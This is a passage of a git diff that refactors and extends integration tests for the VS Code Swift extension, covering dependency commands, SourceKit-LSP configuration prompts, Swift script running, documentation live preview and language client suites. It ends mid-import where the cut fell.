"../utilities/testutilities"; +import { tag } from "../../tags"; import { waitForNoRunningTasks } from "../../utilities/tasks"; +import { activateExtensionForTest, findWorkspaceFolder } from "../utilities/testutilities"; -suite("Dependency Commmands Test Suite @slow", function () { - // full workflow's interaction with spm is longer than the default timeout - // 3 minutes for each test should be more than enough - this.timeout(3 * 60 * 1000); - +tag("large").suite("Dependency Commands Test Suite", function () { let depsContext: FolderContext; let workspaceContext: WorkspaceContext; - activateExtensionForSuite({ + activateExtensionForTest({ async setup(ctx) { workspaceContext = ctx; depsContext = findWorkspaceFolder("dependencies", workspaceContext)!; @@ -52,65 +53,127 @@ suite("Dependency Commmands Test Suite @slow", function () { expect(result).to.be.true; }); - suite("Swift: Use Local Dependency", function () { - let treeProvider: ProjectPanelProvider; - + // Skipping because these tests are currently flakey in CI + suite.skip("Swift: Use Local Dependency", function () { setup(async () => { await waitForNoRunningTasks(); - treeProvider = new ProjectPanelProvider(workspaceContext); - }); - - teardown(() => { - treeProvider?.dispose(); }); - async function getDependency() { - const headers = await treeProvider.getChildren(); - const header = headers.find(n => n.name === "Dependencies") as PackageNode; - if (!header) { - return; + beforeEach(async function () { + // Clean the Package.resolved before every test to ensure we start from a known state + try { + await fs.rm(path.join(depsContext.folder.fsPath, "Package.resolved")); + } catch { + // if we haven't done a resolve yet, the file won't exist } - const children = await header.getChildren(); - return children.find( - n => n.name.toLocaleLowerCase() === "swift-markdown" - ) as PackageNode; - } - // Wait for the dependency to switch to the expected state. - // This doesn't happen immediately after the USE_LOCAL_DEPENDENCY - // and RESET_PACKAGE commands because the file watcher on - // workspace-state.json needs to trigger. - async function getDependencyInState(state: "remote" | "editing") { - for (let i = 0; i < 10; i++) { - const dep = await getDependency(); - if (dep?.type === state) { - return dep; - } - await new Promise(resolve => setTimeout(resolve, 1000)); - } - throw Error(`Could not find dependency with state "${state}"`); - } + // Perform a resolve first to make sure that dependencies are up to date + await vscode.commands.executeCommand(Commands.RESOLVE_DEPENDENCIES); + + workspaceContext.logger.info( + "useLocalDependencyTest: Fetching the dependency in the 'remote' state" + ); - async function useLocalDependencyTest() { - // spm edit with user supplied local version of dependency - const item = await getDependencyInState("remote"); + // Get the dependency in remote state + const remoteDep = await getDependencyInState("remote"); const localDep = testAssetUri("swift-markdown"); + + workspaceContext.logger.info( + "useLocalDependencyTest: Resolving latest dependencies before editing" + ); + + workspaceContext.logger.info(`Configuring ${localDep.fsPath} to the "editing" state`); + const result = await vscode.commands.executeCommand( Commands.USE_LOCAL_DEPENDENCY, - item, + createPackageNode(remoteDep), localDep, depsContext ); expect(result).to.be.true; + workspaceContext.logger.info( + "useLocalDependencyTest: Set use local dependency to remote, now verifying" + ); + const dep = await getDependencyInState("editing"); expect(dep).to.not.be.undefined; // Make sure using local expect(dep?.type).to.equal("editing"); + + workspaceContext.logger.info( + "useLocalDependencyTest: Use local dependency was verified to be in 'editing' state" + ); + }); + + /** + * Get the swift-markdown dependency from the package dependencies + */ + async function getSwiftMarkdownDependency(): Promise { + // Reload workspace state to get latest dependency information + await depsContext.reloadWorkspaceState(); + + const dependencies = await depsContext.swiftPackage.rootDependencies; + const swiftMarkdownDep = dependencies.find( + dep => dep.identity.toLowerCase() === "swift-markdown" + ); + + workspaceContext.logger.info( + `getSwiftMarkdownDependency: Found dependency with type "${swiftMarkdownDep?.type}"` + ); + + return swiftMarkdownDep; + } + + /** + * Create a PackageNode from a ResolvedDependency for use with commands + */ + function createPackageNode(dependency: ResolvedDependency): any { + return { + __isPackageNode: true, + name: dependency.identity, + location: dependency.location, + type: dependency.type, + path: dependency.path ?? "", + dependency: dependency, + }; + } + + /** + * Wait for the dependency to switch to the expected state. + * This doesn't happen immediately after the USE_LOCAL_DEPENDENCY + * and RESET_PACKAGE commands because the file watcher on + * workspace-state.json needs to trigger. + */ + async function getDependencyInState( + state: "remote" | "editing" + ): Promise { + let currentDep: ResolvedDependency | undefined; + + for (let i = 0; i < 10; i++) { + currentDep = await getSwiftMarkdownDependency(); + + workspaceContext.logger.info( + `getDependencyInState: Current state of dependency is "${currentDep?.type}", waiting for "${state}"` + ); + + if (currentDep?.type === state) { + return currentDep; + } + + await new Promise(resolve => setTimeout(resolve, 1000)); + } + + const dependencies = await depsContext.swiftPackage.rootDependencies; + const dependencyNames = dependencies.map(dep => dep.identity); + + throw Error( + `Could not find swift-markdown dependency with state "${state}", instead it was "${currentDep?.type}". Available dependencies: ${dependencyNames.join(", ")}` + ); } test("Swift: Reset Package Dependencies", async function () { - await useLocalDependencyTest(); + workspaceContext.logger.info("Resetting package dependency to remote version"); // spm reset const result = await vscode.commands.executeCommand( @@ -125,12 +188,13 @@ suite("Dependency Commmands Test Suite @slow", function () { expect(dep?.type).to.equal("remote"); }); - test("Swift: Revert To Original Version", async function () { - await useLocalDependencyTest(); + test("Swift: Unedit To Original Version", async function () { + workspaceContext.logger.info("Unediting package dependency to original version"); + const editingDep = await getDependencyInState("editing"); const result = await vscode.commands.executeCommand( Commands.UNEDIT_DEPENDENCY, - await getDependencyInState("editing"), + createPackageNode(editingDep), depsContext ); expect(result).to.be.true; diff --git a/test/integration-tests/commands/generateSourcekitConfiguration.test.ts b/test/integration-tests/commands/generateSourcekitConfiguration.test.ts index 745939eed..e581e8bfe 100644 --- a/test/integration-tests/commands/generateSourcekitConfiguration.test.ts +++ b/test/integration-tests/commands/generateSourcekitConfiguration.test.ts @@ -11,26 +11,29 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import { expect } from "chai"; -import { FolderContext } from "../../../src/FolderContext"; -import { WorkspaceContext } from "../../../src/WorkspaceContext"; -import { Commands } from "../../../src/commands"; -import { - activateExtensionForSuite, - folderInRootWorkspace, - updateSettings, -} from "../utilities/testutilities"; -import { closeAllEditors } from "../../utilities/commands"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { Commands } from "@src/commands"; import { determineSchemaURL, + handleConfigFileChange, handleSchemaUpdate, sourcekitConfigFilePath, sourcekitFolderPath, -} from "../../../src/commands/generateSourcekitConfiguration"; -import { Version } from "../../../src/utilities/version"; -import { mockGlobalObject } from "../../MockUtils"; +} from "@src/commands/generateSourcekitConfiguration"; +import * as restartLSPServerModule from "@src/commands/restartLSPServer"; +import { Version } from "@src/utilities/version"; + +import { mockGlobalModule, mockGlobalObject } from "../../MockUtils"; +import { closeAllEditors } from "../../utilities/commands"; +import { + activateExtensionForSuite, + folderInRootWorkspace, + updateSettings, +} from "../utilities/testutilities"; suite("Generate SourceKit-LSP configuration Command", function () { let folderContext: FolderContext; @@ -112,6 +115,7 @@ suite("Generate SourceKit-LSP configuration Command", function () { suite("handleSchemaUpdate", async () => { const mockWindow = mockGlobalObject(vscode, "window"); + const mockRestartLSPServerModule = mockGlobalModule(restartLSPServerModule); test("Updates to new schema version", async () => { await vscode.workspace.fs.writeFile( @@ -156,7 +160,12 @@ suite("Generate SourceKit-LSP configuration Command", function () { await handleSchemaUpdate(document, workspaceContext); - expect(mockWindow.showInformationMessage).to.have.not.been.called; + expect(mockWindow.showInformationMessage).to.have.not.been.calledWith( + `The $schema property for ${configFileUri.fsPath} is not set to the version of the Swift toolchain that you are using. Would you like to update the $schema property?`, + "Yes", + "No", + "Don't Ask Again" + ); }); test("Don't update schema version", async () => { @@ -180,5 +189,29 @@ suite("Generate SourceKit-LSP configuration Command", function () { "https://raw.githubusercontent.com/swiftlang/sourcekit-lsp/refs/heads/main/config.schema.json" ); }); + + test("Check LSP restart prompt for config.json modifications", async () => { + await vscode.workspace.fs.writeFile( + configFileUri, + Buffer.from( + JSON.stringify({ + $schema: "invalid schema", + }) + ) + ); + await handleConfigFileChange(configFileUri, workspaceContext); + + expect(mockWindow.showInformationMessage).to.have.been.called; + expect(mockWindow.showInformationMessage).to.have.been.calledWith( + `The SourceKit-LSP configuration file has been modified. Would you like to restart the language server to apply the changes?`, + "Restart LSP Server", + "Not Now" + ); + + mockWindow.showInformationMessage.resolves("Restart LSP Server" as any); + + await handleConfigFileChange(configFileUri, workspaceContext); + expect(mockRestartLSPServerModule.default).to.have.been.calledWith(workspaceContext); + }); }); }); diff --git a/test/integration-tests/commands/runSwiftScript.test.ts b/test/integration-tests/commands/runSwiftScript.test.ts new file mode 100644 index 000000000..0928b3046 --- /dev/null +++ b/test/integration-tests/commands/runSwiftScript.test.ts @@ -0,0 +1,56 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as path from "path"; +import * as vscode from "vscode"; + +import { runSwiftScript } from "@src/commands/runSwiftScript"; +import { TaskManager } from "@src/tasks/TaskManager"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; + +import { activateExtensionForSuite, findWorkspaceFolder } from "../utilities/testutilities"; + +suite("Swift Scripts Suite", () => { + let document: vscode.TextDocument; + let tasks: TaskManager; + let toolchain: SwiftToolchain; + + activateExtensionForSuite({ + async setup(ctx) { + if (process.platform === "win32") { + // Swift Scripts on Windows give a JIT error in CI. + this.skip(); + } + + tasks = ctx.tasks; + toolchain = ctx.globalToolchain; + + const folder = findWorkspaceFolder("scripts", ctx); + if (!folder) { + throw new Error("Could not find 'scripts' workspace folder"); + } + const scriptPath = path.join(folder.folder.fsPath, "SwiftScript.swift"); + const editor = await vscode.window.showTextDocument(vscode.Uri.file(scriptPath)); + document = editor.document; + }, + testAssets: ["scripts"], + }); + + test("Successfully runs a swift script", async () => { + let output = ""; + const exitCode = await runSwiftScript(document, tasks, toolchain, data => (output += data)); + expect(output).to.contain("Hello World"); + expect(exitCode).to.be.equal(0); + }); +}); diff --git a/test/integration-tests/commands/runTestMultipleTimes.test.ts b/test/integration-tests/commands/runTestMultipleTimes.test.ts index 854a33dd8..8d592a4ce 100644 --- a/test/integration-tests/commands/runTestMultipleTimes.test.ts +++ b/test/integration-tests/commands/runTestMultipleTimes.test.ts @@ -11,12 +11,14 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import { expect } from "chai"; -import { runTestMultipleTimes } from "../../../src/commands/testMultipleTimes"; -import { FolderContext } from "../../../src/FolderContext"; -import { TestRunProxy } from "../../../src/TestExplorer/TestRunner"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { TestKind } from "@src/TestExplorer/TestKind"; +import { TestRunProxy } from "@src/TestExplorer/TestRunner"; +import { runTestMultipleTimes } from "@src/commands/testMultipleTimes"; + import { activateExtensionForSuite, folderInRootWorkspace } from "../utilities/testutilities"; suite("Test Multiple Times Command Test Suite", () => { @@ -26,12 +28,9 @@ suite("Test Multiple Times Command Test Suite", () => { activateExtensionForSuite({ async setup(ctx) { folderContext = await folderInRootWorkspace("defaultPackage", ctx); - folderContext.addTestExplorer(); + const testExplorer = await folderContext.resolvedTestExplorer; - const item = folderContext.testExplorer?.controller.createTestItem( - "testId", - "Test Item For Testing" - ); + const item = testExplorer.controller.createTestItem("testId", "Test Item For Testing"); expect(item).to.not.be.undefined; testItem = item!; @@ -39,13 +38,24 @@ suite("Test Multiple Times Command Test Suite", () => { }); test("Runs successfully after testing 0 times", async () => { - const runState = await runTestMultipleTimes(folderContext, [testItem], false, 0); + const runState = await runTestMultipleTimes( + folderContext, + [testItem], + false, + TestKind.standard, + 0 + ); expect(runState).to.be.an("array").that.is.empty; }); test("Runs successfully after testing 3 times", async () => { - const runState = await runTestMultipleTimes(folderContext, [testItem], false, 3, () => - Promise.resolve(TestRunProxy.initialTestRunState()) + const runState = await runTestMultipleTimes( + folderContext, + [testItem], + false, + TestKind.standard, + 3, + () => Promise.resolve(TestRunProxy.initialTestRunState()) ); expect(runState).to.deep.equal([ @@ -61,13 +71,20 @@ suite("Test Multiple Times Command Test Suite", () => { failed: [{ test: testItem, message: new vscode.TestMessage("oh no") }], }; let ctr = 0; - const runState = await runTestMultipleTimes(folderContext, [testItem], true, 3, () => { - ctr += 1; - if (ctr === 2) { - return Promise.resolve(failure); + const runState = await runTestMultipleTimes( + folderContext, + [testItem], + true, + TestKind.standard, + 3, + () => { + ctr += 1; + if (ctr === 2) { + return Promise.resolve(failure); + } + return Promise.resolve(TestRunProxy.initialTestRunState()); } - return Promise.resolve(TestRunProxy.initialTestRunState()); - }); + ); expect(runState).to.deep.equal([TestRunProxy.initialTestRunState(), failure]); }); diff --git a/test/integration-tests/configuration.test.ts b/test/integration-tests/configuration.test.ts index 5baaff6b7..ed3651184 100644 --- a/test/integration-tests/configuration.test.ts +++ b/test/integration-tests/configuration.test.ts @@ -11,18 +11,19 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - +import { expect } from "chai"; +import { afterEach } from "mocha"; import * as path from "path"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; +import configuration from "@src/configuration"; +import { createBuildAllTask } from "@src/tasks/SwiftTaskProvider"; + import { activateExtensionForSuite, getRootWorkspaceFolder, updateSettings, } from "./utilities/testutilities"; -import { expect } from "chai"; -import { afterEach } from "mocha"; -import configuration from "../../src/configuration"; -import { createBuildAllTask } from "../../src/tasks/SwiftTaskProvider"; -import { WorkspaceContext } from "../../src/WorkspaceContext"; suite("Configuration Test Suite", function () { let workspaceContext: WorkspaceContext; diff --git a/test/integration-tests/debugger/lldb.test.ts b/test/integration-tests/debugger/lldb.test.ts index 74fcddfc2..b0a4c1c2c 100644 --- a/test/integration-tests/debugger/lldb.test.ts +++ b/test/integration-tests/debugger/lldb.test.ts @@ -11,13 +11,14 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { expect } from "chai"; -import { getLLDBLibPath } from "../../../src/debugger/lldb"; -import { WorkspaceContext } from "../../../src/WorkspaceContext"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { getLLDBLibPath } from "@src/debugger/lldb"; +import { IS_RUNNING_UNDER_DOCKER } from "@src/utilities/utilities"; +import { Version } from "@src/utilities/version"; + import { activateExtensionForTest } from "../utilities/testutilities"; -import { Version } from "../../../src/utilities/version"; -import { IS_RUNNING_IN_CI } from "../../../src/utilities/utilities"; suite("lldb contract test suite", () => { let workspaceContext: WorkspaceContext; @@ -26,7 +27,7 @@ suite("lldb contract test suite", () => { async setup(ctx) { // lldb.exe on Windows is not launching correctly, but only in Docker. if ( - IS_RUNNING_IN_CI && + IS_RUNNING_UNDER_DOCKER && process.platform === "win32" && ctx.globalToolchainSwiftVersion.isGreaterThanOrEqual(new Version(6, 0, 0)) && ctx.globalToolchainSwiftVersion.isLessThan(new Version(6, 0, 2)) diff --git a/test/integration-tests/documentation/DocumentationLivePreview.test.ts b/test/integration-tests/documentation/DocumentationLivePreview.test.ts new file mode 100644 index 000000000..9f7b60735 --- /dev/null +++ b/test/integration-tests/documentation/DocumentationLivePreview.test.ts @@ -0,0 +1,220 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as path from "path"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { Commands } from "@src/commands"; +import { PreviewEditorConstant } from "@src/documentation/DocumentationPreviewEditor"; +import { RenderNodeContent, WebviewContent } from "@src/documentation/webview/WebviewMessage"; +import { Workbench } from "@src/utilities/commands"; + +import { testAssetUri } from "../../fixtures"; +import { tag } from "../../tags"; +import { waitForNoRunningTasks } from "../../utilities/tasks"; +import { activateExtensionForSuite, folderInRootWorkspace } from "../utilities/testutilities"; + +tag("medium").suite("Documentation Live Preview", function () { + let folderContext: FolderContext; + let workspaceContext: WorkspaceContext; + + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + await waitForNoRunningTasks(); + folderContext = await folderInRootWorkspace("documentation-live-preview", ctx); + await ctx.focusFolder(folderContext); + }, + }); + + setup(function () { + if (!workspaceContext.contextKeys.supportsDocumentationLivePreview) { + this.skip(); + } + }); + + teardown(async function () { + await vscode.commands.executeCommand(Workbench.ACTION_CLOSEALLEDITORS); + }); + + test("renders documentation for an opened Swift file", async function () { + const { webviewContent } = await launchLivePreviewEditor(workspaceContext, { + filePath: "Sources/Library/Library.swift", + position: new vscode.Position(0, 0), + }); + expect(renderNodeString(webviewContent)).to.include( + "The entry point for this arbitrary library." + ); + }); + + test("renders documentation when moving the cursor within an opened Swift file", async function () { + const { textEditor } = await launchLivePreviewEditor(workspaceContext, { + filePath: "Sources/Library/Library.swift", + position: new vscode.Position(0, 0), + }); + // Move the cursor to the comment above EntryPoint.name + let webviewContent = await moveCursor(workspaceContext, { + textEditor, + position: new vscode.Position(7, 12), + }); + expect(renderNodeString(webviewContent)).to.include("The name of this EntryPoint"); + // Move the cursor to the comment above EntryPoint.init(name:) + webviewContent = await moveCursor(workspaceContext, { + textEditor, + position: new vscode.Position(10, 18), + }); + expect(renderNodeString(webviewContent)).to.include("Creates a new EntryPoint"); + }); + + test("renders documentation when editing an opened Swift file", async function () { + const { textEditor } = await launchLivePreviewEditor(workspaceContext, { + filePath: "Sources/Library/Library.swift", + position: new vscode.Position(0, 0), + }); + // Edit the comment above EntryPoint + const webviewContent = await editDocument(workspaceContext, textEditor, editBuilder => { + editBuilder.replace(new vscode.Selection(3, 29, 3, 38), "absolutely amazing"); + }); + expect(renderNodeString(webviewContent)).to.include( + "The entry point for this absolutely amazing library." + ); + }); + + test("renders documentation for an opened Markdown article", async function () { + const { webviewContent } = await launchLivePreviewEditor(workspaceContext, { + filePath: "Sources/Library/Library.docc/GettingStarted.md", + position: new vscode.Position(0, 0), + }); + expect(renderNodeString(webviewContent)).to.include("This is the getting started page."); + }); + + test("renders documentation for an opened tutorial overview", async function () { + const { webviewContent } = await launchLivePreviewEditor(workspaceContext, { + filePath: "Sources/Library/Library.docc/TutorialOverview.tutorial", + position: new vscode.Position(0, 0), + }); + expect(renderNodeString(webviewContent)).to.include("Library Tutorial Overview"); + }); + + test("renders documentation for an opened tutorial", async function () { + const { webviewContent } = await launchLivePreviewEditor(workspaceContext, { + filePath: "Sources/Library/Library.docc/Tutorial.tutorial", + position: new vscode.Position(0, 0), + }); + expect(renderNodeString(webviewContent)).to.include("Library Tutorial"); + }); + + test("displays an error for an unsupported active document", async function () { + const { webviewContent } = await launchLivePreviewEditor(workspaceContext, { + filePath: "UnsupportedFile.txt", + position: new vscode.Position(0, 0), + }); + expect(webviewContent).to.have.property("type").that.equals("error"); + expect(webviewContent) + .to.have.property("errorMessage") + .that.equals(PreviewEditorConstant.UNSUPPORTED_EDITOR_ERROR_MESSAGE); + }); +}); + +async function launchLivePreviewEditor( + workspaceContext: WorkspaceContext, + options: { + filePath: string; + position: vscode.Position; + } +): Promise<{ textEditor: vscode.TextEditor; webviewContent: WebviewContent }> { + if (findTab(PreviewEditorConstant.VIEW_TYPE, PreviewEditorConstant.TITLE)) { + throw new Error("The live preview editor cannot be launched twice in a single test"); + } + const contentUpdatePromise = waitForNextContentUpdate(workspaceContext); + const renderedPromise = waitForNextRender(workspaceContext); + // Open up the test file before launching live preview + const fileUri = testAssetUri(path.join("documentation-live-preview", options.filePath)); + const selection = new vscode.Selection(options.position, options.position); + const textEditor = await vscode.window.showTextDocument(fileUri, { selection: selection }); + // Launch the documentation preview and wait for it to render + expect(await vscode.commands.executeCommand(Commands.PREVIEW_DOCUMENTATION)).to.be.true; + const [webviewContent] = await Promise.all([contentUpdatePromise, renderedPromise]); + return { textEditor, webviewContent }; +} + +async function editDocument( + workspaceContext: WorkspaceContext, + textEditor: vscode.TextEditor, + callback: (editBuilder: vscode.TextEditorEdit) => void +): Promise { + const contentUpdatePromise = waitForNextContentUpdate(workspaceContext); + const renderedPromise = waitForNextRender(workspaceContext); + await expect(textEditor.edit(callback)).to.eventually.be.true; + const [webviewContent] = await Promise.all([contentUpdatePromise, renderedPromise]); + return webviewContent; +} + +async function moveCursor( + workspaceContext: WorkspaceContext, + options: { + textEditor: vscode.TextEditor; + position: vscode.Position; + } +): Promise { + const contentUpdatePromise = waitForNextContentUpdate(workspaceContext); + const renderedPromise = waitForNextRender(workspaceContext); + options.textEditor.selection = new vscode.Selection(options.position, options.position); + const [webviewContent] = await Promise.all([contentUpdatePromise, renderedPromise]); + return webviewContent; +} + +function renderNodeString(webviewContent: WebviewContent): string { + expect(webviewContent).to.have.property("type").that.equals("render-node"); + return JSON.stringify((webviewContent as RenderNodeContent).renderNode); +} + +function waitForNextContentUpdate(context: WorkspaceContext): Promise { + return new Promise(resolve => { + const disposable = context.documentation.onPreviewDidUpdateContent( + (content: WebviewContent) => { + resolve(content); + disposable.dispose(); + } + ); + }); +} + +function waitForNextRender(context: WorkspaceContext): Promise { + return new Promise(resolve => { + const disposable = context.documentation.onPreviewDidRenderContent(() => { + resolve(true); + disposable.dispose(); + }); + }); +} + +function findTab(viewType: string, title: string): vscode.Tab | undefined { + for (const group of vscode.window.tabGroups.all) { + for (const tab of group.tabs) { + // Check if the tab is of type TabInputWebview and matches the viewType and title + if ( + tab.input instanceof vscode.TabInputWebview && + tab.input.viewType.includes(viewType) && + tab.label === title + ) { + // We are not checking if tab is active, so return true as long as the if clause is true + return tab; + } + } + } + return undefined; +} diff --git a/test/integration-tests/editor/CommentCompletion.test.ts b/test/integration-tests/editor/CommentCompletion.test.ts index 7ac1b6595..5ec93eede 100644 --- a/test/integration-tests/editor/CommentCompletion.test.ts +++ b/test/integration-tests/editor/CommentCompletion.test.ts @@ -11,10 +11,11 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as assert from "assert"; import * as vscode from "vscode"; -import { CommentCompletionProviders } from "../../../src/editor/CommentCompletion"; + +import { CommentCompletionProviders } from "@src/editor/CommentCompletion"; +import { Workbench } from "@src/utilities/commands"; suite("CommentCompletion Test Suite", () => { let provider: CommentCompletionProviders; @@ -23,7 +24,10 @@ suite("CommentCompletion Test Suite", () => { provider = new CommentCompletionProviders(); }); - teardown(() => provider.dispose()); + teardown(async () => { + provider.dispose(); + await vscode.commands.executeCommand(Workbench.ACTION_CLOSEALLEDITORS); + }); suite("Function Comment Completion", () => { test("Completion on line that isn't a comment", async () => { diff --git a/test/integration-tests/extension.test.ts b/test/integration-tests/extension.test.ts index b3999cb7b..c64e478fd 100644 --- a/test/integration-tests/extension.test.ts +++ b/test/integration-tests/extension.test.ts @@ -11,17 +11,17 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as assert from "assert"; +import { expect } from "chai"; import * as vscode from "vscode"; -import { WorkspaceContext } from "../../src/WorkspaceContext"; -import { getBuildAllTask } from "../../src/tasks/SwiftTaskProvider"; -import { SwiftExecution } from "../../src/tasks/SwiftExecution"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { SwiftExecution } from "@src/tasks/SwiftExecution"; +import { getBuildAllTask } from "@src/tasks/SwiftTaskProvider"; + import { activateExtensionForTest, findWorkspaceFolder } from "./utilities/testutilities"; -import { expect } from "chai"; suite("Extension Test Suite", function () { - this.timeout(60000); let workspaceContext: WorkspaceContext; activateExtensionForTest({ @@ -30,26 +30,11 @@ suite("Extension Test Suite", function () { }, }); - suite("Temporary Folder Test Suite", () => { - /*test("Create/Delete File", async () => { - const fileContents = "Test file"; - //const tempFolder = await TemporaryFolder.create(); - const fileName = workspaceContext.tempFolder.filename("test"); - assert.doesNotThrow(async () => await fs.writeFile(fileName, fileContents)); - assert.doesNotThrow(async () => { - const contents = await fs.readFile(fileName, "utf8"); - assert.strictEqual(contents, fileContents); - }); - assert.doesNotThrow(async () => await fs.rm(fileName)); - }).timeout(5000);*/ - }); - suite("Workspace", function () { - this.timeout(60000); /** Verify tasks.json is being loaded */ test("Tasks.json", async () => { const folder = findWorkspaceFolder("defaultPackage", workspaceContext); - assert(folder); + assert.ok(folder); const buildAllTask = await getBuildAllTask(folder); const execution = buildAllTask.execution as SwiftExecution; expect(buildAllTask.definition.type).to.equal("swift"); @@ -60,8 +45,8 @@ suite("Extension Test Suite", function () { for (const arg of ["build", "--build-tests", "--verbose"].concat([ vscode.workspace.workspaceFile ? "-DBAR" : "-DFOO", ])) { - assert(execution?.args.find(item => item === arg)); + assert.ok(execution?.args.find(item => item === arg)); } - }).timeout(60000); + }); }); }); diff --git a/test/integration-tests/language/LanguageClientIntegration.test.ts b/test/integration-tests/language/LanguageClientIntegration.test.ts index 060f92b77..5e8e0ded4 100644 --- a/test/integration-tests/language/LanguageClientIntegration.test.ts +++ b/test/integration-tests/language/LanguageClientIntegration.test.ts @@ -11,31 +11,32 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - +import { expect } from "chai"; import * as vscode from "vscode"; import * as langclient from "vscode-languageclient/node"; -import { expect } from "chai"; -import { LanguageClientManager } from "../../../src/sourcekit-lsp/LanguageClientManager"; -import { WorkspaceContext } from "../../../src/WorkspaceContext"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { LanguageClientManager } from "@src/sourcekit-lsp/LanguageClientManager"; +import { createBuildAllTask } from "@src/tasks/SwiftTaskProvider"; + import { testAssetUri } from "../../fixtures"; +import { tag } from "../../tags"; import { executeTaskAndWaitForResult, waitForNoRunningTasks } from "../../utilities/tasks"; -import { createBuildAllTask } from "../../../src/tasks/SwiftTaskProvider"; +import { waitForClientState } from "../utilities/lsputilities"; import { activateExtensionForSuite, folderInRootWorkspace } from "../utilities/testutilities"; -import { waitForClientState, waitForIndex } from "../utilities/lsputilities"; -import { FolderContext } from "../../../src/FolderContext"; async function buildProject(ctx: WorkspaceContext, name: string) { await waitForNoRunningTasks(); const folderContext = await folderInRootWorkspace(name, ctx); const task = await createBuildAllTask(folderContext); + task.definition.dontTriggerTestDiscovery = true; const { exitCode, output } = await executeTaskAndWaitForResult(task); expect(exitCode, `${output}`).to.equal(0); return folderContext; } -suite("Language Client Integration Suite @slow", function () { - this.timeout(3 * 60 * 1000); - +tag("large").suite("Language Client Integration Suite", function () { let clientManager: LanguageClientManager; let folderContext: FolderContext; @@ -51,12 +52,12 @@ suite("Language Client Integration Suite @slow", function () { clientManager = ctx.languageClientManager.get(folderContext); await clientManager.restart(); await waitForClientState(clientManager, langclient.State.Running); - await waitForIndex(clientManager, folderContext.swiftVersion); + await clientManager.waitForIndex(); }, }); setup(async () => { - await waitForIndex(clientManager, folderContext.swiftVersion); + await clientManager.waitForIndex(); }); suite("Symbols", () => { diff --git a/test/integration-tests/process-list/processList.test.ts b/test/integration-tests/process-list/processList.test.ts index ae94b90f1..b2d846e30 100644 --- a/test/integration-tests/process-list/processList.test.ts +++ b/test/integration-tests/process-list/processList.test.ts @@ -11,10 +11,10 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as path from "path"; import { expect } from "chai"; -import { createProcessList, Process } from "../../../src/process-list"; +import * as path from "path"; + +import { Process, createProcessList } from "@src/process-list"; suite("ProcessList Tests", () => { function expectProcessName(processes: Process[], command: string) { diff --git a/test/integration-tests/tasks/SwiftExecution.test.ts b/test/integration-tests/tasks/SwiftExecution.test.ts index a6cf8f0f5..3efb75310 100644 --- a/test/integration-tests/tasks/SwiftExecution.test.ts +++ b/test/integration-tests/tasks/SwiftExecution.test.ts @@ -11,13 +11,14 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as assert from "assert"; +import * as vscode from "vscode"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; + import { testSwiftTask } from "../../fixtures"; -import { WorkspaceContext } from "../../../src/WorkspaceContext"; import { executeTaskAndWaitForResult, waitForStartTaskProcess } from "../../utilities/tasks"; -import { SwiftToolchain } from "../../../src/toolchain/toolchain"; import { activateExtensionForSuite } from "../utilities/testutilities"; suite("SwiftExecution Tests Suite", () => { @@ -28,7 +29,9 @@ suite("SwiftExecution Tests Suite", () => { activateExtensionForSuite({ async setup(ctx) { workspaceContext = ctx; - toolchain = await SwiftToolchain.create(); + toolchain = await SwiftToolchain.create( + workspaceContext.extensionContext.extensionPath + ); assert.notEqual(workspaceContext.folders.length, 0); workspaceFolder = workspaceContext.folders[0].workspaceFolder; }, diff --git a/test/integration-tests/tasks/SwiftPluginTaskProvider.test.ts b/test/integration-tests/tasks/SwiftPluginTaskProvider.test.ts index 452304716..9371e6eb7 100644 --- a/test/integration-tests/tasks/SwiftPluginTaskProvider.test.ts +++ b/test/integration-tests/tasks/SwiftPluginTaskProvider.test.ts @@ -11,42 +11,53 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as assert from "assert"; -import { beforeEach, afterEach } from "mocha"; import { expect } from "chai"; -import { WorkspaceContext } from "../../../src/WorkspaceContext"; -import { SwiftPluginTaskProvider } from "../../../src/tasks/SwiftPluginTaskProvider"; -import { FolderContext } from "../../../src/FolderContext"; -import { - activateExtensionForSuite, - folderInRootWorkspace, - updateSettings, -} from "../utilities/testutilities"; +import { afterEach, beforeEach } from "mocha"; +import * as vscode from "vscode"; + +import { FolderContext } from 